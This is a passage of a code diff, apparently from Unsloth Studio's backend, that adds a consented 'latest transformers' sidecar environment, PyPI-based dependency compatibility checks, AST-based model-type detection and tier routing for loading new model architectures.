+def latest_transformers_supports(model_type: str) -> dict | None:
+    """Whether the newest transformers (PyPI release and/or GitHub main) ships *model_type*.
+
+    Returns ``{"pypi_version": str, "supported_in_pypi": bool, "supported_in_main": bool}``
+    or None when the answer is unavailable (offline, kill switch, network failure) — the
+    caller must then fall through to current behavior. Cached (memory + JSON snapshot on
+    disk, ttl ~1 day) so repeated tier resolutions never re-fetch.
+    """
+    if not isinstance(model_type, str) or not model_type:
+        return None
+    if _disabled() or _env_offline():
+        return None
+    snapshot = _get_snapshot()
+    if snapshot is None:
+        return None
+    return {
+        "pypi_version": snapshot["pypi_version"],
+        "supported_in_pypi": model_type in set(snapshot["pypi_model_types"]),
+        "supported_in_main": model_type in set(snapshot["main_model_types"]),
+    }
+
+
+# model_types the hardcoded tier tables already route; never remote-check these.
+def _hardcoded_model_types() -> frozenset[str]:
+    return frozenset(
+        _TRANSFORMERS_530_MODEL_TYPES
+        | _TRANSFORMERS_550_MODEL_TYPES
+        | _TRANSFORMERS_510_MODEL_TYPES
+    )
+
+
+def check_upgrade_for_model(model_name: str, hf_token: str | None = None) -> dict | None:
+    """Upgrade signal for *model_name*, or None when current routing already handles it.
+
+    The tier hook for the pre-load ``/validate`` path: fires ONLY when the model's
+    ``model_type`` is absent from every installed overlay (and from the hardcoded tier
+    tables), i.e. exactly when today's load would fail with an unrecognized-architecture
+    error. Returns ``{"model_type", "pypi_version", "supported_in_pypi",
+    "supported_in_main"}`` when the newest transformers knows the type, else None.
+
+    Never raises; every network touch is bounded and cached. Offline or with the
+    ``UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS`` kill switch it returns None immediately.
+    """
+    try:
+        if _disabled() or _env_offline():
+            return None
+        cfg = _load_config_json(model_name, hf_token)
+        if not isinstance(cfg, dict):
+            return None
+        candidates = _model_types_from_config(cfg)
+        if not candidates:
+            return None
+        # Without a readable base mapping every type looks brand new; bail out.
+        if not _config_model_types("default"):
+            return None
+        hardcoded = _hardcoded_model_types()
+        missing = [
+            candidate
+            for candidate in candidates
+            if candidate not in hardcoded
+            and not any(candidate in _config_model_types(tier) for tier in _TIER_RANK)
+        ]
+        if not missing:
+            return None
+        # Latest must load EVERY missing type (wrappers build nested sub-configs
+        # through CONFIG_MAPPING) or the load still fails.
+        supports = [latest_transformers_supports(candidate) for candidate in missing]
+        if any(
+            s is None or not (s["supported_in_pypi"] or s["supported_in_main"]) for s in supports
+        ):
+            return None
+        # Offer the PyPI install only if the release ships every missing type; a
+        # main-only type in the mix surfaces as dev-only.
+        model_type = missing[0]
+        supported_in_pypi = all(s["supported_in_pypi"] for s in supports)
+        supported_in_main = all(s["supported_in_pypi"] or s["supported_in_main"] for s in supports)
+        logger.info(
+            "Model %s has model_type=%s unknown to every installed transformers "
+            "(latest PyPI %s: %s, main: %s)",
+            model_name,
+            model_type,
+            supports[0]["pypi_version"],
+            "supported" if supported_in_pypi else "unsupported",
+            "supported" if supported_in_main else "unsupported",
+        )
+        return {
+            "model_type": model_type,
+            "pypi_version": supports[0]["pypi_version"],
+            "supported_in_pypi": supported_in_pypi,
+            "supported_in_main": supported_in_main,
+        }
+    except Exception as exc:
+        logger.debug("Latest-transformers check failed for '%s': %s", model_name, exc)
+        return None
+
+
+# --- Dependency compatibility preflight ------------------------------------------------------
+# Sidecars install transformers --no-deps atop the base env. Before installing, compare
+# requires_dist: unsatisfied shadowable deps become exact --target pins, anything else blocks.
+
+# Safe to shadow inside the sidecar dir (pure wheels, no torch coupling).
+_SHADOWABLE_DEPS = frozenset({"tokenizers", "safetensors"})
+# Provided by the sidecar recipe; checked against its pin, not the base env.
+_SIDECAR_PROVIDED = {"huggingface-hub": "1.8.0", "hf-xet": "1.4.2"}
+# CLI-only; never imported at runtime in Unsloth's workers.
+_IGNORED_DEPS = frozenset({"typer"})
+
+
+def _canonical_dep_name(name: str) -> str:
+    return name.lower().replace("_", "-")
+
+
+def _fetch_requires_dist(version: str) -> list[str] | None:
+    """Core (marker-free, non-extra) requires_dist of transformers *version* from PyPI."""
+    body = _fetch_text(f"https://pypi.org/pypi/transformers/{version}/json")
+    if body is None or body == _FETCH_MISSING:
+        return None
+    try:
+        reqs = json.loads(body).get("info", {}).get("requires_dist")
+    except Exception:
+        return None
+    if not isinstance(reqs, list):
+        return None
+    return [r for r in reqs if isinstance(r, str)]
+
+
+def _resolve_exact_version(name: str, specifier) -> str | None:
+    """Newest PyPI release of *name* satisfying *specifier* (exact pin for the shadow)."""
+    body = _fetch_text(f"https://pypi.org/pypi/{name}/json")
+    if body is None or body == _FETCH_MISSING:
+        return None
+    try:
+        from packaging.version import InvalidVersion, Version
+
+        releases = json.loads(body).get("releases", {})
+        best = None
+        for candidate in releases:
+            try:
+                parsed = Version(candidate)
+            except InvalidVersion:
+                continue
+            if parsed.is_prerelease or not specifier.contains(candidate):
+                continue
+            if best is None or parsed > Version(best):
+                best = candidate
+        return best
+    except Exception as exc:
+        logger.debug("Could not resolve an exact %s version: %s", name, exc)
+        return None
+
+
+def compat_plan(version: str) -> tuple[tuple[str, ...], list[str]]:
+    """(extra exact pins to shadow-install, blocking requirement strings) for *version*.
+
+    Compares the release's core requires_dist against the running base env (the env the
+    workers overlay the sidecar onto). A requirement the base env satisfies needs nothing;
+    an unsatisfied shadowable dep becomes an exact pin inside the sidecar; any other
+    unsatisfied requirement is a blocker. An unavailable requires_dist BLOCKS the
+    install: proceeding unverified could pin a sidecar whose imports then crash the
+    workers, and the caller just reached PyPI for the version check so a retry is cheap.
+    """
+    reqs = _fetch_requires_dist(version)
+    if reqs is None:
+        return (), ["dependency metadata for this release (could not be fetched from PyPI; retry)"]
+    try:
+        from importlib.metadata import PackageNotFoundError
+        from importlib.metadata import version as _installed_version
+        from packaging.requirements import InvalidRequirement, Requirement
+    except Exception:
+        return (), []
+    extras: list[str] = []
+    blockers: list[str] = []
+    for raw in reqs:
+        try:
+            req = Requirement(raw)
+        except InvalidRequirement:
+            continue
+        if req.extras or (req.marker is not None and not req.marker.evaluate()):
+            continue
+        name = _canonical_dep_name(req.name)
+        if name in _IGNORED_DEPS:
+            continue
+        if name in _SIDECAR_PROVIDED:
+            if not req.specifier.contains(_SIDECAR_PROVIDED[name], prereleases = True):
+                blockers.append(raw)
+            continue
+        try:
+            installed = _installed_version(req.name)
+        except PackageNotFoundError:
+            installed = None
+        if installed is not None and req.specifier.contains(installed, prereleases = True):
+            continue
+        if name in _SHADOWABLE_DEPS:
+            exact = _resolve_exact_version(name, req.specifier)
+            if exact is None:
+                blockers.append(raw)
+            else:
+                extras.append(f"{name}=={exact}")
+        else:
+            blockers.append(raw)
+    return tuple(extras), blockers
+
+
+def is_install_in_progress() -> bool:
+    """True while a latest-transformers install or lazy repair holds the sidecar swap
+    reservation. Training and export starts check this so a fresh worker never
+    activates the sidecar mid-swap."""
+    from utils.transformers_version import sidecar_swap_in_progress
+    return sidecar_swap_in_progress()
+
+
+def install_latest_transformers(
+    version: str,
+    before_swap = None,
+    reserved: bool = False,
+) -> dict:
+    """Consented install of the latest transformers sidecar; returns a structured result.
+
+    Guards: the requested *version* must match the current PyPI latest from the (cached)
+    snapshot, so a client cannot pin an arbitrary package version through this endpoint.
+    On success ``.venv_t5_latest`` is provisioned and pinned; routing then resolves the
+    new tier automatically on this and every future start. *before_swap* is forwarded
+    to the stage-and-swap: it runs only after the staged install succeeded, right
+    before the live sidecar is replaced. *reserved* means the caller already holds the
+    sidecar swap reservation (the install route takes it before waiting on the
+    inference lifecycle gate, so worker starts see it for the whole window).
+    """
+    from utils.transformers_version import end_sidecar_swap, try_begin_sidecar_swap
+
+    if not reserved and not try_begin_sidecar_swap():
+        return {
+            "success": False,
+            "version": version,
+            "message": "A transformers installation is already in progress.",
+        }
+    try:
+        return _install_latest_transformers_locked(version, before_swap = before_swap)
+    finally:
+        if not reserved:
+            end_sidecar_swap()
+
+
+def _install_latest_transformers_locked(version: str, before_swap = None) -> dict:
+    """Body of install_latest_transformers; runs with the in-progress flag held."""
+    if _disabled():
+        return {
+            "success": False,
+            "version": version,
+            "message": "Latest-transformers installs are disabled "
+            "(UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS).",
+        }
+    if _env_offline():
+        return {
+            "success": False,
+            "version": version,
+            "message": "Cannot install: Unsloth is in offline mode.",
+        }
+    # Re-verify against a LIVE snapshot (a release may land inside the cache TTL);
+    # fall back to the cached one on fetch failure.
+    global _memory_snapshot
+    snapshot = _refresh_snapshot()
+    if snapshot is not None:
+        with _lock:
+            _memory_snapshot = snapshot
+        _save_snapshot_file(snapshot)
+    else:
+        snapshot = _get_snapshot()
+    if snapshot is None:
+        return {
+            "success": False,
+            "version": version,
+            "message": "Could not verify the latest transformers release on PyPI.",
+        }
+    if version != snapshot["pypi_version"]:
+        return {
+            "success": False,
+            "version": version,
+            "message": f"Requested version {version!r} is not the latest transformers "
+            f"release ({snapshot['pypi_version']}).",
+            # Lets the consent dialog retry with the release that superseded the
+            # one /validate saw, instead of re-sending the stale version forever.
+            "latest_version": snapshot["pypi_version"],
+        }
+    extra_packages, blockers = compat_plan(version)
+    if blockers:
+        return {
+            "success": False,
+            "version": version,
+            "message": "Cannot install transformers "
+            f"{version}: this environment does not satisfy {', '.join(blockers)}. "
+            "An Unsloth update is required first.",
+        }
+    if not ensure_latest_transformers_venv(version, extra_packages, before_swap = before_swap):
+        return {
+            "success": False,
+            "version": version,
+            "message": f"Installing transformers {version} failed; see the Unsloth logs.",
+        }
+    _invalidate_capability_caches()
+    return {
+        "success": True,
+        "version": version,
+        "message": f"Installed transformers {version} into the latest sidecar "
+        f"(pinned: {latest_venv_pinned_version()}).",
+    }
+
+
+def _invalidate_capability_caches():
+    """Drop caches computed before the new sidecar existed: tier probes and the
+    latest tier's model_type mapping (stale on upgrade) plus vision detection
+    (a raw-heuristic False may now defer to the sidecar AutoConfig probe)."""
+    try:
+        from utils import transformers_version as tv
+        tv._probe_tier_cache.clear()
+        tv._config_mapping_cache.pop("latest", None)
+    except Exception:
+        pass
+    try:
+        from utils.models import model_config as mc
+        mc._vision_detection_cache.clear()
+    except Exception:
+        pass
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 2a63caa5b2..475a096248 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -28,17 +28,23 @@ Strategy:
   sys.path swap using the same directories pre-installed by setup.sh.
 """
 
+import ast
 import importlib
+import importlib.util
 import json
 import structlog
 from loggers import get_logger
 import os
+import re
 import shutil
 import subprocess
 import sys
+import threading
+import time
 from pathlib import Path
 
 from utils.native_path_leases import child_env_without_native_path_secret
+from utils.hf_cache_settings import get_hf_cache_paths
 from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
@@ -173,6 +179,7 @@ _TRANSFORMERS_530_ARCHITECTURES: set[str] = {
     "Qwen3MoeForCausalLM",
     "Qwen3NextForCausalLM",
     "Glm4MoeLiteForCausalLM",
+    "Lfm2MoeForCausalLM",
     "Lfm2VlForConditionalGeneration",
 }
 _TRANSFORMERS_530_MODEL_TYPES: set[str] = {
@@ -183,6 +190,7 @@ _TRANSFORMERS_530_MODEL_TYPES: set[str] = {
     "qwen3_moe",
     "qwen3_next",
     "glm4_moe_lite",
+    "lfm2_moe",
     "lfm2_vl",
 }
 
@@ -231,8 +239,12 @@ _VENV_T5_DIR = _VENV_T5_550_DIR
 # reuses the workspace torch (torch-agnostic).
 _VENV_LLMCOMPRESSOR_DIR = str(_studio_root() / ".venv_llmcompressor")
 
-# Tier precedence: higher rank wins in _higher_tier.
-_TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3}
+# User-consented "latest transformers" sidecar (utils/transformers_latest.py); pinned version in a marker file.
+_VENV_T5_LATEST_DIR = str(_studio_root() / ".venv_t5_latest")
+_LATEST_PIN_MARKER = ".unsloth_pinned_transformers"
+
+# Tier precedence: higher rank wins in _higher_tier. "latest" outranks every fixed tier.
+_TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3, "latest": 4}
 
 
 def _higher_tier(a: str, b: str) -> str:
@@ -250,20 +262,40 @@ def activate_transformers_for_subprocess(model_name: str, hf_token: str | None =
     ``hf_token`` is forwarded to tier detection so a gated/private model whose only 5.x
     signal is an authenticated config/tokenizer reaches the right sidecar, not the default.
     """
-    # Pre-resolve only LoRA adapters; full checkpoints go to get_transformers_tier so their
-    # local config.json drives the tier (a full checkpoint with a private/offline
-    # _name_or_path must not resolve to an unreachable HF id and skip its own config).
+    # Pre-resolve LoRA adapters (local dir or remote adapter repo); full checkpoints
+    # go to get_transformers_tier so their local config.json drives the tier (a full
+    # checkpoint with a private/offline _name_or_path must not resolve to an
+    # unreachable HF id and skip its own config). Remote adapters activate for their
+    # BASE model, matching latest_tier_active_for and the inference worker.
     if _is_lora_adapter_dir(Path(model_name)):
         resolved = _resolve_base_model(model_name)
     else:
-        resolved = model_name
+        resolved = _remote_lora_base(model_name, hf_token = hf_token) or model_name
     tier = get_transformers_tier(resolved, hf_token)
     if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"):
         # Gate on a real local config.json: a checkpoint carries config the base may not
         # surface, but path names alone must not upgrade a plain adapter.
         tier = _higher_tier(tier, get_transformers_tier(model_name, hf_token))
 
-    if tier == "510":
+    if tier == "latest":
+        pinned = latest_venv_pinned_version()
+        if pinned is None or not _ensure_venv_t5_latest_exists():
+            raise RuntimeError(
+                f"Cannot activate the latest-transformers sidecar: "
+                f".venv_t5_latest missing or unpinned at {_VENV_T5_LATEST_DIR}"
+            )
+        if _VENV_T5_LATEST_DIR not in sys.path:
+            sys.path.insert(0, _VENV_T5_LATEST_DIR)
+        logger.info(
+            "Prepended transformers %s venv to sys.path from %s "
+            "(path only; the loaded version is confirmed later by "
+            "'Subprocess loaded transformers ...' on first import)",
+            pinned,
+            _VENV_T5_LATEST_DIR,
+        )
+        _pp = os.environ.get("PYTHONPATH", "")
+        os.environ["PYTHONPATH"] = _VENV_T5_LATEST_DIR + (os.pathsep + _pp if _pp else "")
+    elif tier == "510":
         if not _ensure_venv_t5_510_exists():
             raise RuntimeError(
                 f"Cannot activate transformers {TRANSFORMERS_510_VERSION}: "
@@ -318,6 +350,34 @@ def activate_transformers_for_subprocess(model_name: str, hf_token: str | None =
         logger.info("Using default transformers (4.57.x) for %s", model_name)
 
 
+def latest_tier_active_for(model_name: str, hf_token: str | None = None) -> bool:
+    """True when *model_name* routes to the consented latest-transformers sidecar.
+
+    Mirrors the inference worker's pre-activation resolution (local adapter dir,
+    then a remote adapter's Hub adapter_config.json). ``latest`` only wins when
+    the sidecar exists with a valid pin, i.e. exactly the loads that will import
+    the newest release. Never raises: any resolution failure returns False so
+    callers treat the model as a known tier.
+    """
+    try:
+        # No consented sidecar pin means nothing routes to latest; return before
+        # any resolution so the common case costs no config or network reads.
+        if latest_venv_pinned_version() is None:
+            return False
+        if _is_lora_adapter_dir(Path(model_name)):
+            resolved = _resolve_base_model(model_name)
+        else:
+            # A remote LoRA activates the sidecar for its BASE model; sizing and the
+            # worker's 4-bit guard must see that base too, not the adapter repo.
+            resolved = _remote_lora_base(model_name, hf_token = hf_token) or model_name
+        tier = get_transformers_tier(resolved, hf_token)
+        if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"):
+            tier = _higher_tier(tier, get_transformers_tier(model_name, hf_token))
+        return tier == "latest"
+    except Exception:
+        return False
+
+
 def _has_adapter_weights(path: Path) -> bool:
     """True if *path* holds LoRA adapter weight files (``adapter_model.*``)."""
     try:
@@ -457,13 +517,10 @@ def _adapter_base_from_hf_cache(model_name: str) -> str | None:
     """
     if not _is_canonical_repo_id(model_name):
         return None
-    hub = (
-        os.environ.get("HF_HUB_CACHE")
-        or os.environ.get("HUGGINGFACE_HUB_CACHE")
-        or os.path.join(
-            os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"), "hub"
-        )
-    )
+    # Route through the selected cache: after a no-restart /settings switch the
+    # process HF_HUB_CACHE env is stale, but the model loads from the selected
+    # cache, which get_hf_cache_paths() reflects (the DB switch).
+    hub = str(get_hf_cache_paths().hub_cache)
     repo_dir = Path(hub) / ("models--" + model_name.replace("/", "--"))
     candidates = []
     ref_main = repo_dir / "refs" / "main"
@@ -622,13 +679,10 @@ def _config_json_from_hf_cache(model_name: str) -> dict | None:
     # Only a canonical ``owner/repo`` Hub id maps to a cache dir; reject local paths.
     if not model_name or model_name.count("/") != 1 or model_name[0] in "/.~" or "\\" in model_name:
         return None
-    hub = (
-        os.environ.get("HF_HUB_CACHE")
-        or os.environ.get("HUGGINGFACE_HUB_CACHE")
-        or os.path.join(
-            os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"), "hub"
-        )
-    )
+    # Route through the selected cache: after a no-restart /settings switch the
+    # process HF_HUB_CACHE env is stale, but the model loads from the selected
+    # cache, which get_hf_cache_paths() reflects (the DB switch).
+    hub = str(get_hf_cache_paths().hub_cache)
     repo_dir = Path(hub) / ("models--" + model_name.replace("/", "--"))
     candidates = []
     ref_main = repo_dir / "refs" / "main"
@@ -870,6 +924,255 @@ def _cached_config_json(model_name: str, hf_token: str | None) -> dict | None:
     return _config_json_cache.get(_token_cache_key(model_name, hf_token))
 
 
+# --- Static tier from CONFIG_MAPPING_NAMES (AST only: no import/network/exec) ---
+# A model_type absent from an overlay's mapping can't load there. Parse each sidecar's
+# config map from source and pick the lowest tier that ships it, so a new arch routes
+# correctly with no per-model table edit. Only ever upgrades default, never lowers.
+_config_mapping_cache: dict[str, frozenset[str]] = {}
+
+
+def _latest_tier_disabled() -> bool:
+    """Kill switch shared with utils.transformers_latest: lets operators roll
+    back a provisioned latest sidecar without deleting files."""
+    return os.environ.get("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "").strip().lower() in (
+        "1",
+        "true",
+        "yes",
+        "on",
+    )
+
+
+# Failed lazy repairs back off so a broken sidecar can't turn every routing
+# call into a pip install attempt.
+_latest_repair_failed_at: float = 0.0
+_LATEST_REPAIR_BACKOFF_SECS = 5 * 60
+
+
+def _latest_sidecar_intact() -> bool:
+    """The pinned latest sidecar exists with its transformers dir and every pinned
+    package. False when the pin itself is gone: a cached 'latest' mapping must then be
+    dropped (routing re-resolves to no latest tier), not trusted, and a sidecar that kept
+    transformers/ but lost a pinned package must self-heal rather than route models to a
+    latest tier that fails activation in workers, which refuse parent-only repairs.
+
+    (_overlay_transformers_dir only calls this after gating on a present pin, so the
+    pin-missing case here is the cache-revalidation caller whose pin was deleted after
+    the mapping was first cached.)"""
+    pin = _latest_pin_data()
+    if pin is None:
+        return False
+    return _venv_dir_is_valid(_VENV_T5_LATEST_DIR, tuple(pin["packages"]))
+
+
+def _overlay_transformers_dir(tier: str) -> str | None:
+    """transformers source dir for a tier, located without importing it."""
+    global _latest_repair_failed_at
+    if tier != "default":
+        # latest requires a valid pin and the kill switch off.
+        if tier == "latest" and (_latest_tier_disabled() or latest_venv_pinned_version() is None):
+            return None
+        root = {
+            "530": _VENV_T5_530_DIR,
+            "550": _VENV_T5_550_DIR,
+            "510": _VENV_T5_510_DIR,
+            "latest": _VENV_T5_LATEST_DIR,
+        }.get(tier)
+        src = os.path.join(root, "transformers") if root else None
+        if src and tier == "latest" and not _latest_sidecar_intact():
+            # A valid pin whose sidecar vanished or lost a pinned package (partial
+            # deletion, disk issue, interrupted external edits) must self-heal, or
+            # latest-only models either silently route to older tiers or reach a
+            # worker that cannot repair, failing every load until a manual
+            # reinstall. Repair under the swap reservation; back off after a
+            # failure so routing calls don't hammer pip.
+            repaired = False
+            if time.time() - _latest_repair_failed_at >= _LATEST_REPAIR_BACKOFF_SECS:
+                if _ensure_venv_t5_latest_exists():
+                    _latest_repair_failed_at = 0.0
+                    repaired = True
+                else:
+                    _latest_repair_failed_at = time.time()
+            if not repaired:
+                # Still broken: treat the overlay as unavailable rather than route
+                # models to a tier whose worker activation is known to fail. Models
+                # an older tier supports keep loading there until a repair succeeds,
+                # matching the behavior when the sidecar dir is missing entirely.
+                return None
+        return src if src and _safe_is_dir(Path(src)) else None
+    # default: the base 4.x transformers. find_spec resolves to a 5.x sidecar if one
+    # is already on sys.path, so skip any .venv_t5_* / llmcompressor overlay dir.
+    sidecars = tuple(
+        os.path.abspath(d) + os.sep
+        for d in (
+            _VENV_T5_530_DIR,
+            _VENV_T5_550_DIR,
+            _VENV_T5_510_DIR,
+            _VENV_T5_LATEST_DIR,
+            _VENV_LLMCOMPRESSOR_DIR,
+        )
+    )
+    candidates = []
+    try:
+        spec = importlib.util.find_spec("transformers")
+        if spec and spec.origin:
+            candidates.append(os.path.dirname(spec.origin))
+    except Exception:
+        pass
+    candidates += [os.path.join(e, "transformers") for e in sys.path if e]
+    for c in candidates:
+        if _safe_is_dir(Path(c)) and not os.path.abspath(c).startswith(sidecars):
+            return c
+    return None
+
+
+def _mapping_first_keys(value: ast.AST) -> set[str]:
+    """First keys of a dict literal, or of an OrderedDict(...)/dict(...)/.update(...)
+    built from 2-tuple lists and **{...} unpacking."""
+
+    def keys_of(node):
+        if isinstance(node, ast.Dict):
+            return list(node.keys)
+        if isinstance(node, (ast.List, ast.Tuple)):
+            return [
+                el.elts[0] for el in node.elts if isinstance(el, (ast.Tuple, ast.List)) and el.elts
+            ]
+        return []
+
+    nodes = keys_of(value)
+    if isinstance(value, ast.Call):
+        for a in value.args:
+            nodes += keys_of(a)
+        for kw in value.keywords:  # **{...} unpacking has kw.arg is None
+            if kw.arg is None:
+                nodes += keys_of(kw.value)
+    return {n.value for n in nodes if isinstance(n, ast.Constant) and isinstance(n.value, str)}
+
+
+def _model_types_from_source(source: str) -> set[str]:
+    """model_type keys of CONFIG_MAPPING_NAMES in *source* (AST only, no execution).
+
+    Handles the direct ``CONFIG_MAPPING_NAMES = ...`` binding (dict literal or
+    OrderedDict/dict call over 2-tuple lists and **{...} unpacking) and any
+    ``CONFIG_MAPPING_NAMES.update({...})`` mutation. Shared by the on-disk overlay
+    reader below and the remote latest-release checker (utils/transformers_latest.py).
+    """
+    keys: set[str] = set()
+    tree = ast.parse(source)
+    for node in ast.walk(tree):
+        if isinstance(node, ast.Assign) and any(
+            isinstance(t, ast.Name) and t.id == "CONFIG_MAPPING_NAMES" for t in node.targets
+        ):
+            keys |= _mapping_first_keys(node.value)
+        elif isinstance(node, ast.Expr) and isinstance(node.value, ast.Call):
+            fn = node.value.func
+            if (
+                isinstance(fn, ast.Attribute)
+                and fn.attr == "update"
+                and isinstance(fn.value, ast.Name)
+                and fn.value.id == "CONFIG_MAPPING_NAMES"
+            ):
+                keys |= _mapping_first_keys(node.value)
+    return keys
+
+
+def _config_model_types(tier: str) -> frozenset[str]:
+    """model_type keys in a tier's CONFIG_MAPPING_NAMES (5.10 moved it to auto_mappings.py)."""
+    # Kill switch beats the cache: a stale mapping must not keep routing latest-only models until restart.
+    if tier == "latest" and _latest_tier_disabled():
+        return frozenset()
+    cached = _config_mapping_cache.get(tier)
+    if cached is not None:
+        # A cached 'latest' mapping can outlive the sidecar it was parsed from: if the
+        # pinned sidecar was since deleted or lost a package in this process, drop the
+        # cache so routing re-resolves through _overlay_transformers_dir (which self-heals)
+        # instead of routing latest-only models to a broken tier until restart.
+        if tier != "latest" or _latest_sidecar_intact():
+            return cached
+        _config_mapping_cache.pop("latest", None)
+    tdir = _overlay_transformers_dir(tier)
+    if tdir is None:
+        return frozenset()  # overlay not provisioned yet; do not cache so a later call re-reads
+    keys: set[str] = set()
+    for rel in ("models/auto/configuration_auto.py", "models/auto/auto_mappings.py"):
+        path = Path(tdir) / rel
+        if not _safe_is_file(path):
+            continue
+        try:
+            keys |= _model_types_from_source(path.read_text(encoding = "utf-8"))
+        except Exception:
+            continue
+    result = frozenset(keys)
+    _config_mapping_cache[tier] = result
+    return result
+
+
+def _model_types_from_config(cfg: dict) -> list[str]:
+    """All model_types in the config: the primary (top-level, else first nested)
+    first, then every other nested sub-config. Wrappers instantiate sub-configs
+    through CONFIG_MAPPING, so nested types matter for routing too."""
+    seen: list[str] = []
+
+    def add(value):
+        if isinstance(value, str) and value and value not in seen:
+            seen.append(value)
+
+    add(cfg.get("model_type"))
+    for key in _NESTED_CONFIG_KEYS:
+        sub = cfg.get(key)
+        if isinstance(sub, dict):
+            add(sub.get("model_type"))
+    for value in cfg.values():
+        if isinstance(value, dict):
+            add(value.get("model_type"))
+    return seen
+
+
+def _lowest_tier_for(model_type: str) -> str | None:
+    for tier in sorted(_TIER_RANK, key = _TIER_RANK.get):
+        if model_type in _config_model_types(tier):
+            return tier
+    return None
+
+
+def _tier_from_config_mapping(cfg: dict) -> str | None:
+    """Lowest tier able to load every model_type in cfg, or None when the
+    primary type is unknown everywhere. A nested type can raise the tier (its
+    sub-config is built through CONFIG_MAPPING); an unknown nested type never
+    vetoes, since no installed tier could load it either way (the latest
+    checker handles surfacing the install prompt for it)."""
+    types = _model_types_from_config(cfg)
+    if not types:
+        return None
+    best = _lowest_tier_for(types[0])
+    if best is None:
+        return None
+    for model_type in types[1:]:
+        tier = _lowest_tier_for(model_type)
+        if tier is not None and _TIER_RANK[tier] > _TIER_RANK[best]:
+            best = tier
+    return best
+
+
+def _raise_tier_for_nested(cfg: dict | None, tier: str) -> str:
+    """Raise *tier* when the mapping resolver needs a higher one for *cfg*.
+
+    A wrapper's top-level model_type can match a hardcoded fast path while a
+    nested text/vision config's type only exists in a newer sidecar (e.g. the
+    installed latest); its sub-config is built through CONFIG_MAPPING, so the
+    fast-path tier would fail to load it. Raise-only: never lowers a fast-path
+    match, so name overrides (Qwen3.6) keep their tier. Never raises an
+    exception: a resolution failure keeps the fast-path tier."""
+    if not isinstance(cfg, dict):
+        return tier
+    try:
+        mapped = _tier_from_config_mapping(cfg)
+        if mapped is not None and _TIER_RANK.get(mapped, 0) > _TIER_RANK.get(tier, 0):
+            return mapped
+    except Exception:
+        pass
+    return tier
+
+
 # --- AutoConfig probe: general tier resolution for ambiguous models ----------
 # When the cheap signals only say "needs some 5.x", parse config.json with the built-in
 # parser in each candidate sidecar (lowest first) instead of guessing. Generalizes beyond
@@ -925,15 +1228,25 @@ def _probe_tier_venvs():
         "530": (_VENV_T5_530_DIR, _ensure_venv_t5_530_exists),
         "550": (_VENV_T5_550_DIR, _ensure_venv_t5_550_exists),
         "510": (_VENV_T5_510_DIR, _ensure_venv_t5_510_exists),
+        "latest": (_VENV_T5_LATEST_DIR, _ensure_venv_t5_latest_exists),
     }
 
 
+def _probe_tier_order() -> tuple[str, ...]:
+    """Sidecar probe order. The consented "latest" sidecar joins only once it is
+    provisioned (pin marker present): an absent optional tier must not flip the probe's
+    skipped-tier bookkeeping, keeping pre-latest behavior byte-identical."""
+    if not _latest_tier_disabled() and latest_venv_pinned_version() is not None:
+        return _PROBE_TIER_ORDER + ("latest",)
+    return _PROBE_TIER_ORDER
+
+
 def _probe_autoconfig(target_dir: str, model_name: str, hf_token: str | None) -> bool | None:
     """Parse config.json with the built-in parser inside *target_dir*'s sidecar.
     True = parses, False = parse/version failure (escalate), None = transient
     (auth/network/offline/spawn) so the caller fails safe and does not cache.
     """
-    env = child_env_without_native_path_secret()
+    env = get_hf_cache_paths().child_env(child_env_without_native_path_secret())
     if hf_token:
         env["HF_TOKEN"] = hf_token
         # The probe relies on the implicit HF_TOKEN env (no token= arg). Clear any inherited
@@ -1005,7 +1318,7 @@ def _probe_tier(
     stays on the default. Cached per _probe_cache_key (process lifetime). No Hub sha is
     resolved: that would import huggingface_hub before the sidecar is on sys.path.
     """
-    if os.environ.get("UNSLOTH_DISABLE_TIER_PROBE", "").lower() in ("1", "true", "yes"):
+    if os.environ.get("UNSLOTH_DISABLE_TIER_PROBE", "").lower() in ("1", "true", "yes", "on"):
         return floor
     key = _probe_cache_key(model_name)
     # Key by probe mode: the default-first path can return 'default', which must not be
@@ -1013,7 +1326,10 @@ def _probe_tier(
     if include_default or floor != "530":
         key = f"{key}\0floor={floor}:def={int(include_default)}"
     if key in _probe_tier_cache:
-        return _probe_tier_cache[key]
+        cached = _probe_tier_cache[key]
+        # Kill switch beats the cache (like _config_model_types): a stale 'latest' probe must not keep activating it.
+        if cached != "latest" or not _latest_tier_disabled():
+            return cached
 
     def _cache(tier: str, *, skipped: bool) -> str:
         # Do not pin a result that depended on a skipped lower tier: once that sidecar is
@@ -1023,7 +1339,8 @@ def _probe_tier(
         return tier
 
     venvs = _probe_tier_venvs()
-    order = (("default",) + _PROBE_TIER_ORDER) if include_default else _PROBE_TIER_ORDER
+    sidecar_order = _probe_tier_order()
+    order = (("default",) + sidecar_order) if include_default else sidecar_order
     probed_count = 0
     skipped_any = False
     for tier in order:
@@ -1150,17 +1467,21 @@ def get_transformers_tier(
         cfg = _load_config_json(model_name, hf_token)
         if cfg is not None:
             if _config_needs_510(cfg):
+                tier = _raise_tier_for_nested(cfg, "510")
                 logger.info(
-                    "Transformers tier 510 selected for %s (local config.json check)",
+                    "Transformers tier %s selected for %s (local config.json check)",
+                    tier,
                     model_name,
                 )
-                return "510"
+                return tier
             if _config_needs_550(cfg):
+                tier = _raise_tier_for_nested(cfg, "550")
                 logger.info(
-                    "Transformers tier 550 selected for %s (local config.json check)",
+                    "Transformers tier %s selected for %s (local config.json check)",
+                    tier,
                     model_name,
                 )
-                return "550"
+                return tier
             if _config_needs_530(cfg):
                 # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name. Only a real
                 # Hub id (or the folder basename) may override 530, so a stale local
@@ -1173,17 +1494,20 @@ def get_transformers_tier(
                 )
                 override = _higher_tier_name_override(hint_src)
                 if override is not None:
+                    override = _raise_tier_for_nested(cfg, override)
                     logger.info(
